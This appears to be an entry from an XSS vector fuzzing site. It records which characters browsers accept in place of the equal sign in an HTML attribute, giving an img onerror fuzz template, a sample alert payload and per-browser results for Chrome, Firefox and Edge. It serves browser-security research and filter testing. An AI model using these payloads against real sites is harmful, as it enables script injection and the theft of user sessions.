Characters allowed instead of equal sign
This XSS vector shows what characters can be used instead of equal sign on attribute
Created byc3l3si4n
Created Apr 28, 2024
Updated May 27, 2025
Detecting browser...
CategoryDOM Behavior
VisibilityPublic
TypeXSS
CharsetUTF-8
Template used:
<img src onerror$[chr]log($[i])>Sample payloads
<img src onerror=alert(61)>Fuzz results
Chrome 145.0.0.0 desktop macOS 10.15.7
Updated17 Feb 2026
Found 1 result
Loading...
Chrome 144.0.0.0 desktop Windows NT 10.0older version
Updated25 Jan 2026
Found 1 result
Loading...
Chrome 124.0.0.0 Unknown Unknownolder version
Updated28 Apr 2024
Found 1 result
Loading...
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 1 result
Loading...
Firefox 147.0 desktop Linuxolder version
Updated1 Feb 2026
Found 1 result
Loading...
Firefox 144.0 desktop Linux Unknownolder version
Updated1 Dec 2025
Found 1 result
Loading...
Firefox 141.0 desktop macOS 10.15older version
Updated26 Jul 2025
Found 1 result
Loading...
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated18 Feb 2026
Found 1 result
Loading...